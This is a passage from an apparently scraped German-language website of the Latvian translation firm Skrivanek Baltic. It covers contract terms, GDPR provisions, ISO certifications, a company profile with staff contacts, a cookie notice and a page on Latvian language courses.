vereinbaren, dass der Schadensersatzanspruch der Höhe nach begrenzt ist und der Schaden bis zur Höhe des Bestellpreises erstattet wird. 5. 11 Bei unternehmerische Übersetzungen, d. h. wenn der Auftraggeber Händler ist, ist der Auftraggeber verpflichtet, Mängelrügen unverzüglich nach Kenntniserlangung, spätestens jedoch innerhalb von 21 Tagen nach Auftragseingang, beim Auftragnehmer geltend zu machen. 5. 12 Handelt es sich bei dem Kunden um eine natürliche Person, so ist er berechtigt, einen Anspruch nach dem Gesetz zum Schutz der Verbraucherrechte geltend zu machen. 5. 13 Verspätet eingereichte Anträge werden nicht berücksichtigt und sind ungültig. 6. ZAHLUNGSVERFAHREN 6. 1 Der Preis des Auftrags richtet sich nach der aktuellen Preisliste des Auftragnehmers und der darin angegebenen Preisberechnungsmethode. 6. 2 Wenn der ungefähre Bestellpreis nur aus der ungefähren Wortzahl abgeleitet wird, erfolgt die Preisberechnung durch Addition der tatsächlichen Stückzahl (in der Zielsprache der Übersetzung) nach Ausführung der Übersetzung. 6. 3 Der Auftragnehmer hat das Recht, unmittelbar nach der Ausführung des Auftrags eine Rechnung für die erbrachten Leistungen auf der Grundlage der im Auftrag festgelegten Bedingungen auszustellen. 6. 4 Die Grundlage für die Bezahlung des Auftrags ist eine vom Auftragnehmer ausgestellte Rechnung, die vom Auftraggeber bis zum Ende der festgelegten Zahlungsfrist bezahlt wird. 6. 5 Bei Versäumnis der Zahlungsfrist, werden Verzugszinsen in Höhe von 0,01 % des geschuldeten Betrags für jeden Tag des Zahlungsverzugs berechnet. 6. 6 Im Falle eines vertraglichen Zahlungsverzugs wird die Bareinlage des Kunden zunächst als Verzugszins gutgeschrieben, der verbleibende Betrag wird jedoch auf die betreffende Schuld angerechnet. 6. 7 Mit Einverständnis beider Parteien kann der Auftragnehmer dem Auftraggeber eine Vorauszahlungsrechnung in Höhe von 50 % des Auftragswertes ausstellen. Die Vorauszahlungsrechnung muss innerhalb der Frist bezahlt werden. 7. DATENSCHUTZ VON PERSONENBEZOGENEN DATEN VON NATÜRLICHEN PERSONEN 7. 1 Die Parteien verpflichten sich, die Anforderungen der Datenschutzgesetze der Personen, einschließlich der Verordnung (EU) 2016/679 des Europäischen Parlaments und des Rates zum Schutz natürlicher Personen bei der Verarbeitung personenbezogener Daten, zum freien Datenverkehr und zur Aufhebung der Richtlinie 95/46/EG (Datenschutz-Grundverordnung) einzuhalten, insbesondere um sicherzustellen, dass personenbezogene Daten: 7. 1. 1 auf rechtmäßige, faire und transparente Weise für die betroffenen Personen verarbeitet werden; 7. 1. 2 für die Ausführung des Auftrags verarbeitet werden und die Verarbeitung der personenbezogenen Daten nicht im Widerspruch zum Auftrag steht; 7. 1. 3 so verarbeitet werden, dass die Datensicherheit im Einklang mit den Rechtsvorschriften gewährleistet ist, d. h. Schutz vor unbefugter oder unrechtmäßiger Verarbeitung und vor zufälligem Verlust, zufälliger Zerstörung oder zufälliger Beschädigung durch geeignete technische oder organisatorische Maßnahmen. 7. 2 Jede Vertragspartei ist dafür verantwortlich, die Personen (betroffene Personen) über die Verarbeitung ihrer personenbezogenen Daten als für die Verarbeitung Verantwortlicher zu informieren. 7. 3 Die Vertragsparteien verpflichten sich, die erhaltenen personenbezogenen Daten nicht ohne die vorherige schriftliche Zustimmung der Vertragspartei, von der sie die personenbezogenen Daten erhalten haben, an Dritte weiterzugeben. Ist eine Vertragspartei aufgrund von Rechtsvorschriften verpflichtet, personenbezogene Daten, die sie erhalten hat, weiterzugeben, so ist sie verpflichtet, die Vertragspartei, von der sie personenbezogene Daten erhalten hat, zu informieren, sofern dies nicht gesetzlich verboten ist. 7. 4 Der Auftragnehmer ist verpflichtet, die im Rahmen dieser Vereinbarung erhaltenen personenbezogenen Daten während der Gültigkeitsdauer der Vereinbarung und danach auf unbestimmte Zeit vertraulich zu behandeln. 7. 5 Der Auftragnehmer stellt sicher, dass seine Mitarbeiter und/oder Treuhänder und/oder Unterauftragnehmer die in diesem Absatz genannte Vertraulichkeitsanforderungen auf unbestimmte Zeit einhalten, es sei denn, die Gesetze und Vorschriften der EU oder der Republik Lettland verpflichten den Auftragnehmer zur Offenlegung dieser Informationen gegenüber staatlichen und/oder kommunalen Behörden. 7. 6 Die Vertragsparteien stellen sicher, dass nur diejenigen Mitarbeiter, Treuhänder oder Unterauftragnehmer, die am Auftrag beteiligt sind, Zugang zu den im Rahmen dieses Abkommens erhaltenen personenbezogenen Daten haben, und zwar nur in dem Umfang, der für die Erfüllung ihrer Pflichten bei der Erfüllung der Verpflichtungen aus dem Abkommen erforderlich ist. 7. 7 Der Auftragnehmer informiert nicht nur die Aufsichtsbehörde, sondern auch den Auftraggeber unverzüglich über die Fälle, in denen ein Verstoß gegen die Verarbeitung der im Rahmen des Vertrags erhaltenen personenbezogenen Daten stattgefunden hat oder der Verdacht besteht, dass dies der Fall sein könnte. Die Benachrichtigung sollte spätestens 72 Stunden nach Feststellung des Verstoßes erfolgen. 7. 8 Die Vertragsparteien bestätigen, dass die Verarbeitung personenbezogener Daten in der Europäischen Union (EU) und in den Mitgliedstaaten des Europäischen Wirtschaftsraums (EWR) erfolgen soll. 7. 9 Die Vertragsparteien sind dafür verantwortlich, dass die einschlägigen Maßnahmen zum Schutz personenbezogener Daten (einschließlich der Durchführung technischer und organisatorischer Maßnahmen und des Schutzes der Systeme zur Verarbeitung personenbezogener Daten) so getroffen und umgesetzt werden, dass die Anforderungen der Gesetze und Vorschriften der Europäischen Union und der Republik Lettland eingehalten werden und ein unbefugter Zugriff auf die personenbezogenen Daten verhindert wird. 8. STREITBEILEGUNGSVERFAHREN 8. 1 Streitigkeiten, die sich aus der Ausführung des Vertrags oder im Zusammenhang mit diesem Abkommen ergeben, werden von den Parteien innerhalb von 60 (sechzig) Tagen beigelegt. Die Vereinbarung über die Beilegung der Streitigkeit ist schriftlich zu treffen und von beiden Parteien zu unterzeichnen. Die genannte Einigung wird diesem Abkommen beigefügt. Kommt keine Einigung zustande, so werden die Streitigkeiten vom Gericht nach dem in den Rechtsvorschriften der Republik Lettland festgelegten Verfahren beigelegt. Datum: 18. 08. 2021 --- > Um die Qualität der Dienstleistungen zu erhöhen und die Sicherheitsmaßnahmen zu verbessern, hat Skrivanek eine Reihe von Managementsystemen eingeführt. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/kvalitate-un-drosiba/ - Translation Priorities: Optional Um die Qualität der angebotenen Dienstleistungen zu erhöhen, unsere Position auf dem Markt für Sprachdienstleistungen zu stärken und die Umwelt- und Datensicherheitsmaßnahmen zu verbessern, hat Skrivanek Baltic eine Reihe von Managementsystemen eingeführt. Wir sind stolz darauf, dass die Skrivanek-Gruppe der erste Sprachdienstleister in Mittel- und Osteuropa war, der die Anforderungen des Qualitätsmanagementsystems ISO 9001 vollständig erfüllte und 2002 den TÜV Süd Siegel erhielt. Außerdem ist unser Unternehmen mit dem Qualitätsstandart DIN EN ISO 17100:2015 ausgezeichnet, welches die Kompetenzen des Übersetzungsprozesses und alle dazugehörigen Schritte einschließlich Qualität und Transparenz festlegt. Als umweltfreundliches Unternehmen haben wir ein Umweltmanagementsystem nach der Umweltmanagementnorm DIN EN ISO 14001 eingeführt. Wir sind uns der Risiken, die der Umgang mit Daten birgt, vollständig bewusst. Deswegen haben wir beschlossen, das Informationssicherheitsmanagementsystem (ISMS) nach der Norm EN ISO/IEC 27001 einzuführen, um Informationen vor Zerstörung, Diebstahl oder Missbrauch zu schützen. Wir sind glaubwürdig und können Informationen über unser geistiges Eigentum und das unserer Geschäftspartner, Mitarbeiter, der öffentlichen und staatlichen Einrichtungen und der Allgemeinheit mit Rücksicht auf die Gesetzgebung und unseren Sicherheitsvorschriften wirksam schützen. Im Herbst 2021 erhielt Skrivanek Baltic außerdem die Norm ISO 18587, die bestätigt, dass das Unternehmen alle erforderlichen Verfahren zur Gewährleistung einer qualitativ hochwertigen Nachbearbeitung der maschinell übersetzten Texte eingeführt hat. Der internationale Standard für die Nachbearbeitung, also die Nachbearbeitung maschinell übersetzter Texte durch einen Übersetzer, ist noch relativ neu. DIN EN ISO 9001 Die Einführung des Qualitätsmanagementsystems DIN EN ISO 9001:2015 beweist, dass unser Unternehmen die notwendigen Prozesse für unsere Dienstleistungen implementiert hat, um die Anforderungen unserer Kunden und die gesetzlichen Vorschriften zu erfüllen. Zertifikat ansehen ISO 14001 Das Zertifikat EN ISO 14001:2015 bestätigt, dass sich unser Unternehmen für die Umwelt einsetzt. Dazu gehören der Einsatz umweltfreundlicher Technologien und Materialien für unsere Arbeit, Mülltrennung und Dokumente nur dann zu drucken, wenn wirklich notwendig. Zertifikat ansehen ISO 17100 Bei Skrivanek arbeiten wir nach der Norm DIN EN 17100:2015 bei der Überwachung der Übersetzungsdienstleistung. Das bedeutet, dass unser Unternehmen die vorgeschriebenen Anforderungen in Bezug auf die Auswahl von Fachkräften, die Kommunikation, das Projektmanagement, die Arbeitsabläufe, den Einsatz von Technologien und andere branchenspezifische Aspekte erfüllt. Zertifikat ansehen ISO/IEC 27001 Das eingeführte Managementsystem für Informationssicherheit nach ISO/IEC 27001:2022 garantiert, dass unser Unternehmen Maßnahmen zum Schutz der Informationen getroffen hat. Es sieht auch die notwendigen Kontrollen vor, um die Sicherheit und Vertraulichkeit der uns vom Kunden anvertrauten Daten zu gewährleisten. Zertifikat ansehen ISO 18587 Diese Norm ist für Sprachdienstleister gedacht, um die Qualität des Nachbearbeitens messbar und stetig zu verbessern. Die Prüfung nach ISO 18587 bezieht sich hauptsächlich auf den Nachbearbeitungsprozess und den Arbeitsablauf, bei denen Projektmanager und Redakteur zusammenarbeiten, um das Projekt abzuschließen. Zertifikat ansehen Häufig gestellte Fragen Wir bieten eine große Vielfalt an Sprachleistungen an - Übersetzungen und Dolmetschen, Lokalisierung, Textadaption, Copywriting, DTP und Sprachunterricht. Wir dolmetschen bei Konferenzen und Geschäftstreffen sowie bei Gerichtsverfahren. Das Übersetzen umfasst Fachübersetzungen und allgemeine Übersetzungen in einer Vielzahl von Branchen. Wir sind nach den Normen DIN ISO 9001, DIN EN 17100, DIN EN ISO 14001, DIN EN ISO 18585 und ISO 27001 zertifiziert. Wir garantieren Diskretion, Verantwortung gegenüber unserer Aufträge und halten uns stets an die Abgabetermine! Die Norm DIN EN 17100 stellt den Mindestmaß für alle Aspekte des Übersetzungsprozesses fest, die sich direkt auf die Qualität und die Erbringung von Übersetzungsdienstleistungen auswirken. Für die Kundensicherheit haben wir eine Berufshaftpflichtversicherung mit der internationalen Versicherungsgesellschaft Colonnade Insurance SA abgeschlossen. Wir bieten auch Übersetzungen mit notarieller Beglaubigung an oder beglaubigen sie selbst. Nein, unsere Aufträge werden von Projektmanagern angenommen und betreut. Diese dienen als eine effiziente Brücke zwischen Kunde und Übersetzer. Die Übersetzer und Dolmetscher von Skrivanek Baltic bieten Sprachdienstleistungen in über 110 Sprachen an. INFORMATIONSSICHERHEITSPOLITIK Mehr erfahren QUALITÄTS- UND UMWELTMANAGEMENTRICHTLINIEN Mehr erfahren SEIT MEHR ALS 25 JAHREN AUF DEM MARKT! Wir verfügen über umfangreiche Erfahrung in der Übersetzung von Texten zu verschiedenen Themen. 0+ verschiedene Sprachkombinationen 0+ Millionen Im Jahr 2023 übersetzte Wörter 0+ Sprachspezialisten 0 ISO-Zertifikate ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Hochwertige Sprachdienstleistungen für Unternehmen und Privatpersonen. Einer der größten Sprachdienstleister der Welt. Erfahren Sie mehr! - Published: 2025-01-06 - Modified: 2025-03-26 - URL: https://skrivanek.lv/skrivanek-baltic/kas-mes-esam/ - Translation Priorities: Optional IHR ÜBERSETZUNGSBÜRO UND SPRACHZENTRUM SKRIVANEK 1 Skrivanek ist einer der größten Sprachdienstleister weltweit, mit mehr als 25 Jahren Erfahrung im Bereich der Sprachdienstleistungen. Derzeit hat Skrivanek fast fünfzig Niederlassungen in verschiedenen Ländern der Welt. Skrivanek Baltic hat seit 2003 eine Niederlassung in Lettland und bietet seinen Kunden hochwertige Sprachdienstleistungen an. UNSERE PHILOSOPHIE Skrivanek Baltic hat es sich zur Aufgabe gemacht, qualitativ hochwertige Sprachdienstleistungen zu erbringen, um unseren Privat- und Firmenkunden eine einfache und erfolgreiche Kommunikation und beständige Geschäfte in Lettland und im Ausland zu ermöglichen. UNSERE VISION Die Vision von Skrivanek Baltic ist es, ein Unternehmen mit außergewöhnlichem Kundenservice, hohen Qualitätsstandards, zufriedenen Mitarbeitern und einem guten Ruf zu sein. UNSERE ZIELE Wir wollen ein sozial verantwortliches und nachhaltiges Unternehmen sein. Außerdem durch die tägliche Arbeit unseres Unternehmens Innovationen in der Branche einführen. Wir bemühen uns, stets ein vertrauenswürdiger und freundlicher Kooperationspartner für unsere Kunden und Lieferanten zu sein. Außerdem wollen wir am Wachstum der Branche und einen positiven Beitrag in ihrem Ruf und ihrer Qualität in Lettland leisten. Verhaltenskodex Unternehmenspolitik für Mitarbeiter, Lieferanten und Partner UNSERE WERTE Agilität - wir sind flexibel und passen uns schnell an die sich laufend verändernde technologische und sprachliche Landschaft und die Anforderungen unserer Kunden an. Unsere Flexibilität gewährleistet, dass wir auch weiterhin den sich wandelnden Bedürfnissen unserer Kunden gerecht werden. Wir ermutigen unser Team zum Experimentieren und fördern eine Kultur der Innovation und der kontinuierlichen Verbesserung. Technologien - Wir setzen auf Innovation und nutzen modernste Technologien, um die Effizienz und Qualität unserer Sprachdienstleistungen zu verbessern. Ein fundamentaler Baustein in unserem Engagement für Innovation und Kundenzufriedenheit ist das Einbeziehen technologischen Fortschritts in unsere Arbeit. Teamwork und internationale Zusammenarbeit - wir glauben an die Kraft begeisterter Fachleute aus der ganzen Welt, die zusammenarbeiten, um außergewöhnliche Ergebnisse zu erzielen. Wir sind bestrebt, ein integratives und vielfältiges Arbeitsumfeld zu schaffen, in dem sich sowohl Teams als auch Einzelpersonen entfalten können. Verantwortung und Wertschöpfung - Ihr Erfolg liegt uns am Herzen und wir setzen uns dafür ein, Ihrem Unternehmen einen Mehrwert zu bieten. Sie können sich auf uns verlassen, wenn es um fristgerechte, individuelle und beständige sprachtechnologische Dienstleistungen geht UNSERE VORTEILE zuverlässige Qualitätlangjährige Erfahrunggroße Bandbreite an DienstleistungenFachpersonal in 17 LändernOne-Stop-Sprachunternehmenneueste Technologien der Industriehohe Kapazität für große Projektezuvorkommende und verantwortungsbewusste HaltungHäufig gestellte Fragen UNSERE MITARBEITER UND LIEFERANTEN UNSER TEAM Wir beschäftigen derzeit mehr als 360 Mitarbeiter in Vollzeit. Alle unsere Mitarbeiter haben in mindestens einer Weltsprache ein sehr hohes Sprachniveau. Wir haben auch Linguisten, Informatiker, Analytiker und Wirtschaftswissenschaftler in unseren Reihen. ÜBERSETZER Alle Übersetzungen werden von Muttersprachlern der Zielsprache angefertigt - es ist die Amtssprache des Landes, in dem sie leben. Viele Übersetzerinnen und Übersetzer gehören zu Übersetzerverbänden an. Sobald wir genügend Informationen über den Auftrag haben, wählen wir den passenden Übersetzer aus. So können wir für eine optimale Dienstleistung gewährleisten. KORREKTURLESER UND REDAKTEUR Jede Übersetzung wird von einem Korrekturleser und einem Redakteur der jeweiligen Branche überprüft, die beide Muttersprachler der Zielsprache sind. Diese Fachleute sorgen dafür, dass der Sprachfluss bewahrt und die Terminologie korrekt verwendet wird. Karriere Aiga Matveja Leiterin des Ausbildungszentrums macibas@skrivanek. lv Uldis Krūmiņš IT-Administrator uldis@skrivanek. lv Vasilijs Ragačevičs Direktor vasilijs@skrivanek. lv Lelde Calmane Leiterin der Qualitätsabteilung lelde@skrivanek. lv Jeļena Lapoška Leiterin der Verwaltungsabteilung jelena. laposka@skrivanek. lv Dana Laizāne Direktorin für Lokalisierung und AI-Projekt dana@skrivanek. lv Ivars Treskovskis Direktor des Übersetzungsprojekts ivars@skrivanek. lv Jānis Luns Marketing-Manager janis. luns@skrivanek. lv Artūrs Peha Geschäftsentwicklungsmanager arturs@skrivanek. lv ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Einige Fragen und Antworten: Was sind Cookies? Wozu dienen Cookies auf unserer Website? Wie können Sie die Verwendung von Cookies ändern? - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/privatuma-politika/pazinojums-par-sikdatnu-lietosanu/ - Translation Priorities: Optional DER CONTROLLER 1. Die Website https://skrivanek. lv (nachstehend "die Website" genannt) sammelt Daten über die Besucher der Website und gibt dem Betreiber der Website damit die Möglichkeit, zu bewerten, wie nützlich die Website ist und wie sie verbessert werden kann. 2. Der Controller, der die Daten über die Besucher der Website sammelt, ist die Skrivanek Baltic GmbH, Reg. Nr. : 40003626172 (nachstehend "der Controller"). 3. Die Adresse des Controllers: Lāčplēša iela 87C, Riga, LV-1011, Telefon +371 67240364, E-Mail: birojs@skrivanek. lv. COOKIES 4. Der Controller bemüht sich stets, die Website zu verbessern, um ihre Nutzung zu optimieren. Deswegen muss dieser wissen, welche Informationen für die Besucher der Website wichtig sind, wie oft sie die Website besuchen, welche Geräte und Browser sie verwenden, aus welcher Region die Besucher kommen und welche Inhalte sie lesen. 5. Der Controller verwendet Google Analytics. Mit diesem Programm kann der Controller analysieren, wie Besucher die Website nutzen. Wie Google Analytics funktioniert, können Sie auf der Google-Website nachlesen. Der Controller verwendet die gesammelten Daten für seine geschäftlichen Interessen, um die Bedürfnisse der Besucher der Website besser zu verstehen und die vom Controller bearbeiteten Inhalte zugänglicher zu machen. Auf die Besucherstatistiken der Website können nur diejenigen Mitarbeiter des Controllers zugreifen, die für die Analyse dieser Daten zuständig sind. 6. Der Server, auf dem die Website gehostet wird, kann die von einem Besucher gesendeten Anfragen aufzeichnen (verwendetes Gerät, Browser, IP-Adresse, Datum und Uhrzeit des Zugriffs). Die in diesem Absatz genannten Daten werden zu technischen Zwecken verwendet: um das ordnungsgemäße Funktionieren und die Sicherheit der Website zu gewährleisten und um mögliche Sicherheitslücken zu untersuchen. Die in diesem Absatz genannten Daten werden erhoben, damit der Controller die technische Verfügbarkeit und Vollständigkeit der Website gewährleisten kann. 7. Cookies sind kleine Textdateien, die der Browser bei jedem Besuch der Website auf dem Computer des Besuchers in der in den Browsereinstellungen des Besuchers festgelegten Menge speichert. Einzelne Cookies werden verwendet, um die dem Besucher angebotenen Informationen und Werbungen auf der Grundlage der Inhalte auszuwählen, die der Besucher in der Vergangenheit angesehen hat, so dass die Nutzung der Website für den Besucher einfach, bequem und personalisiert ist. Weitere Informationen über Cookies und darüber, wie Sie Cookies löschen und verwalten können, finden Sie unter www. aboutcookies. org. 8. Die Website verwendet Cookies, um die IP-Adresse und die Browsing-Informationen des Benutzers zu erfassen und um der Website zu ermöglichen, sich an die Auswahl des Besuchers zu erinnern. Cookies ermöglichen es dem Controller, den Datenverkehr auf der Website und die Interaktionen der Nutzer mit der Website zu verfolgen - der Controller verwendet diese Daten, um das Besucherverhalten zu analysieren und die Website zu verbessern. Die Rechtsgrundlage für die Verwendung von Cookies ist das geschäftliche Interesse des Controllers die Funktionalität, Verfügbarkeit und Integrität der Website zu gewährleisten. COOKIE-ARTEN 9. Cookies lassen sich ihrer Lebensdauer nach in zwei grundlegende Kategorien einteilen: Kurzzeit-Cookies (die auf Ihrem Computer gespeichert werden, bis Sie Ihren Webbrowser schließen, dann aber gelöscht werden) und Langzeit-Cookies (die für einen längeren Zeitraum auf Ihrem Computer gespeichert werden (abhängig von Ihrem Browser und Ihren Cookie-Einstellungen) oder bis sie manuell gelöscht werden). 10. Folgende Cookies werden auf den Websites von Skrivanek Baltic (https://skrivanek. lv, https://valodumacibas. lv und https://bernunometnes. lv) verwendet: WEBSITE COOKIE DESCRIPTION https://skrivanek. lv, https://valodumacibas. lv, https://bernunometnes. lv _fbp Facebook cookie. Stores information about website visitors. The cookie is valid for 3 months. https://skrivanek. lv, https://valodumacibas. lv _ga Google Analytics. Counts and saves pageviews. The cookie is valid for 1 year. Google Analytics Cookie Usage on Websites https://skrivanek. lv, https://valodumacibas. lv _ga_* Google Analytics. Counts and saves pageviews. The cookie is valid for 1 year. Google Analytics Cookie Usage on Websites https://skrivanek. lv, https://valodumacibas. lv _gcl_au Google Adsense. Ad performance metrics cookie. No expiration date. https://skrivanek. lv, https://valodumacibas. lv _gid Google Analytics. Counts and saves pageviews. The cookie is valid for 1 day. Google Analytics Cookie Usage on Websites https://skrivanek. lv, https://valodumacibas. lv, https://bernunometnes. lv cookie_notice_accepted GDPR Cookie Notice. Informs about the cookies used on the Website. No expiration date. https://valodumacibas. lv, https://bernunometnes. lv _gat_UA-* Google Analytics. Website visitor request metrics. Google Analytics Cookie Usage on Websites. The cookie is valid until the end of the session. https://bernunometnes. lv _ym_d Yandex Metrica. Saves information about the first visit. The cookie is valid for 1 year. https://bernunometnes. lv _ym_isad Yandex Metrica. Determines whether ad-blocking software is installed on a user’s browser. The cookie is valid for 2 days. https://bernunometnes. lv _ym_uid Yandex Metrica. A cookie is used to identify Website visitors. The cookie is valid for 1 year. https://bernunometnes. lv _ym_visorc Yandex Metrica. A unique identifier for the browser that allows one to track user activity on the Website. The cookie is valid until the end of the session. DEAKTIVIERUNG VON COOKIES 11. Der Nutzer der Website hat das Recht, der Erstellung, Speicherung und Verarbeitung solcher Daten nicht zuzustimmen, indem er die Verwendung des Cookie-Verarbeitungsmechanismus im Browser jederzeit manuell deaktiviert. Sie können die Cookie-Einstellungen ändern oder Cookies in den Einstellungen Ihres Webbrowsers löschen. Auf den gängigsten Browsern können Sie mehr zur Verwaltung von Cookies lesen: Mozilla Firefox - https://support. mozilla. org/en-US/kb/cookies-information-websites-store-on-your-computer Google Chrome - https://support. google. com/chrome/answer/95647? hl=en Safari - https://support. apple. com/lv-lv/guide/safari/sfri11471/mac Opera - https://help. opera. com/en/latest/web-preferences/ Microsoft Edge - https://support. microsoft. com/en-us/help/4468242/microsoft-edge-browsing-data-and-privacy Internet Explorer - https://support. microsoft. com/en-us/help/278835/how-to-delete-cookie-files-in-internet-explorer Weitere Informationen darüber, wie Sie Cookies je nach Browser Ihres Geräts steuern können, finden Sie unter: www. aboutcookies. org. SONSTIGE BESTIMMUNGEN 12. Sofern nicht anders angegeben, werden Cookies für die Dauer der Aktivität, für die sie gesammelt wurden, gespeichert und danach gelöscht. 13. Der Controller bestätigt, dass Cookies und statistische Daten gemäß den Anforderungen der Rechtsvorschriften der Europäischen Union, einschließlich der Verordnung (EU) Nr. 2016/679 des Europäischen Parlaments und des Rates vom 27. April 2016 über den Schutz personenbezogener Daten, erhoben, verarbeitet und gespeichert werden. 14. Der Controller ist berechtigt, diese Bedingungen jederzeit zu ändern. Der Besucher der Website ist verpflichtet, den Inhalt der Website selbständig zu überprüfen, um sich mit den Änderungen der Bedingungen vertraut zu machen. Datenschutzbestimmungen SKRIVANEK DATENSCHUTZEXPERTE Uldis Krūmiņš dpo@skrivanek. lv --- > Lettischkurse für Privatpersonen und Unternehmen. Lernen Sie Lettisch vor Ort oder online. Ausgebildete Lehrer. Effiziente Lernmethoden. - Published: 2025-01-06 - Modified: 2025-07-03 - URL: https://skrivanek.lv/de/dienstleistungen/sprachunterricht/lettisch-lernen/ - Translation Priorities: Optional Egal, ob Sie im Ausland leben, Lettisch für die Arbeit benötigen oder einfach nur Ihre Sprachkenntnisse verbessern möchten, Skrivanek bietet Ihnen den Lettischkurs, der am besten zu Ihren Bedürfnissen passt - sei es Einzel- oder Onlineunterricht, ein offener Gruppenkurs (begrenztes Angebot derzeit) oder Gruppenunterricht für Ihr Unternehmen. Skrivanek bietet auch Lettischkurse für Kinder und Jugendliche an - dank der heutigen Technologien spielt es keine Rolle, ob Sie in den USA, Australien, Großbritannien oder gleich um die Ecke wohnen! Schicken Sie einfach eine E-Mail an valoduskola@skrivanek. lv oder rufen Sie uns unter der +371 29 337 892 an. Wir finden die beste Dienstleistung für Sie. Das Skrivanek Baltic Training Centre ist ein Bildungszentrum mit mehr als zehn Jahren Erfahrung in der Bereitstellung von Sprachtrainingslösungen für jedermann. Wir bieten Sprachkurse für Unternehmen und Einzelpersonen, Erwachsene und Kinder an und Lettischkurse zählen zu unseren beliebtesten Kursen. Wenn Sie Lettisch lernen wollen, melden Sie sich für einen Lettischkurs an! Der Lettischunterricht wird häufig von ausländischen Bürgern besucht, die in Riga arbeiten oder von anderen Ländern aus für Unternehmen in Lettland tätig sind oder von Reisenden, die sich für diese Sprache und die Kultur des Landes an der Ostsee interessieren. Wir helfen auch gerne Kindern und Jugendlichen aus Familien, die im Ausland arbeiten und leben, in unseren Sommercamps Lettisch zu lernen, wenn sie für einen Sommerurlaub nach Lettland kommen. ONLINE-SPRACHUNTERRICHT FÜR LETTISCH Die Online-Sprachkurse für Lettisch werden über Zoom, MS Teams oder anderen Online-Meeting-Plattformen abgehalten und zählen zu unseren beliebtesten Online-Kursen, seit die Welt auf Homeoffice umgestellt hat. Unsere jahrelange Erfahrung zeigt, dass es bequem und effektiv ist, Lettisch online zu lernen - Sie können von jedem Ort der Welt aus Lettisch lernen und einen Online-Kurs mit unseren Tutoren über Zoom oder MS Teams vereinbaren, je nachdem, was Sie bevorzugen. Online-Kurse bieten eine Reihe von Vorteilen, um effektiv Lettisch zu lernen - Sie können Grammatik üben, Vokabeln lernen, Ihre Schreib-, Hör- und Sprechfähigkeiten für die soziale oder geschäftliche Kommunikation im Einzel- oder Gruppenkurs verbessern. Wenn Sie mehr über Lettischkurse auf Zoom oder anderen Online-Plattformen erfahren möchten, kontaktieren Sie uns und wir finden die beste Dienstleistung für Sie. FIRMENINTERNE LETTISCHKURSE Das Team des Skrivanek Baltic Training Centre ist erfahren darin, flexible Lösungen für Lettischlernende aus der ganzen Welt anzubieten. Wir bieten Gruppenkurse für Unternehmen auf und außerhalb des Firmengeländes an, um dessen Mitarbeitern Lettisch für die Arbeit zu lehren. Wir bieten Morgen-, Mittags- und Abendkurse auf dem Firmengelände in unserem Büro an. Gerne kann der Lettischkurs auch in Ihrem Büro stattfinden. Unsere Lehrer richten sich nach Ihren Zeit- und Ortsvorstellungen. GRUPPENUNTERRICHT Einzelpersonen können an unseren Kursen in den Räumlichkeiten unserer Schule teilnehmen. Der Vorteil des Gruppenunterrichts bietet den Vorteile, dass das Lernen interaktiv ist. Die Schüler können mit den Mitschülern Lettisch üben, indem sie reale Situationen in Rollenspielen und Dialogen simulieren, und lernen, sich an verschiedene Kommunikationsstile anzupassen. EINZELUNTERRICHT Einzelunterricht ist die beste Lösung für diejenigen, die spezielle Bedürfnisse beim Erlernen der lettischen Sprache haben und möchten, dass der Tutor ihnen bei den sprachlichen Aspekten hilft, die sie besonders interessieren. Einzelunterricht lohnt sich besonders für Lernende oder Reisende, die einen Intensivkurs für Lettisch in Anspruch nehmen wollen. Wenn Sie online Einzelunterricht für Lettisch mit einem muttersprachlichen Tutor in Betracht ziehen, eignen sich Zoom, MS Teams oder eine andere bevorzugte Videokonferenzplattform. Bewerben Sie sich jetzt für Online-Einzelunterricht (Zoom, MS Teams)! LETTISCH FÜR KINDER Kinder und Jugendliche von Familien, die im Ausland leben und arbeiten, können Lettisch lernen, um ihre Sprachkenntnisse auch aus der Ferne zu verbessern. Das Skrivanek Baltic Training Centre bietet individuellen Lettischunterricht online über Zoom oder MS Teams an, der Kindern und Jugendlichen hilft, den lettischen Wortschatz zu lernen und die Grammatik in Wort und Schrift zu verbessern. Familien, die einen Sommerurlaub planen, finden in den Skrivanek Baltic Sommercamps auf Lettisch für Kinder und Jugendliche vielleicht einen nützlichen Weg, wie Ihre Kinder einen Sommerurlaub auf interessante und sinnvolle Weise verbringen können. Die Lehrer von Skrivanek Baltic kümmert sich um Ihre Kinder, wenn sie ihre Sommerferien in Lettland verbringen, indem sie sie in Unterrichtsaktivitäten und Spiele einbeziehen, um ihre Fähigkeiten, Lettisch zu sprechen und schreiben, zu verbessern. Wir haben schon vielen Familien mit Kindern geholfen, ihr Lettisch zu verbessern, und auch Ihre Kinder sind herzlich willkommen, an unseren Sommercamps oder Einzelunterricht teilzunehmen! Weitere Informationen über Sommercamps finden Sie hier! Gerne können Reisende in Riga an den Lettischkursen im Skrivanek Baltic Training Centre teilnehmen, um mehr über die lokale Kultur zu erfahren und Kontakte mit Einheimischen zu knüpfen. Vor der Reise kann jeder von unserem Online-Wörterbuch mit nützlichen Wörtern und Redewendungen Gebrauch machen, um grundlegende lettische Ausdrücke für soziale, geschäftliche und Reisesituationen zu lernen! Ob 